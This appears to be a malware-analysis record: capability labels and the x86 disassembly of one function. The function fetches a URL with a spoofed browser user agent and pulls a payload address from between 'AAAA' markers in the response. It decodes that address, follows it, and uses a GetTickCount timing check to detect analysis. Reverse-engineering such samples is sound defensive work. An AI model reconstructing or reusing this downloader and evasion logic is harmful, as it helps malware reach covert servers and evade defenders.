Function at 0x100118a8
Capabilities:
Check for time delay via gettickcount
Print debug messages
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcb0
push ebx
push esi
push edi
cmp dword [ebp + 8], 0
jne 0x100118c1
xor al, al
jmp 0x10011af6
and dword [ebp - 0xc0c], 0
and byte [ebp - 0xc10], 0
push str.http:__
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x1001191b
push str.https:__
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x1001191b
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10011735
add esp, 0x1c
mov al, 1
jmp 0x10011af6
push 0x100213ec
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0xc68]
call fcn.10011afb
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [ebp - 0xc4c]
mov dword [ebp - 0xc14], eax
cmp dword [ebp - 0xc14], 0
jne 0x10011967
mov al, byte [ebp - 0xc10]
jmp 0x10011af6
push 0
push 0x80000100
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 0xc14]
call dword [ebp - 0xc3c]
mov dword [ebp - 0xc18], eax
cmp dword [ebp - 0xc18], 0
jne 0x1001199b
mov al, byte [ebp - 0xc10]
jmp 0x10011af6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xc6c], eax
mov esi, dword [ebp - 0xc6c]
add esi, 0xea60
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp esi, eax
jae 0x100119cf
push 0x100213bc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor al, al
jmp 0x10011af6
push 0x800
push 0
lea eax, [ebp - 0x808]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc0c]
push eax
push 0x800
lea eax, [ebp - 0x808]
push eax
push dword [ebp - 0xc18]
call dword [sym.imp.WININET.dll_InternetReadFile]
push str.AAAA
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10011a26
jmp 0x10011ac0
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 4], eax
push str.AAAA
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10011a4a
jmp 0x10011ac0
push 0x400
push 0
lea eax, [ebp - 0xc08]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0xc08]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0xc08]
push eax
call fcn.100116c4
pop ecx
mov dword [ebp - 0xc70], eax
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0xc70]
call fcn.10011735
add esp, 0x1c
mov byte [ebp - 0xc10], 1
cmp dword [ebp - 0xc0c], 0
ja 0x100119a7
push 0x100213a0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push dword [ebp - 0xc18]
call dword [ebp - 0xc40]
push dword [ebp - 0xc14]
call dword [ebp - 0xc40]
mov al, byte [ebp - 0xc10]
pop edi
pop esi
pop ebx
leave
ret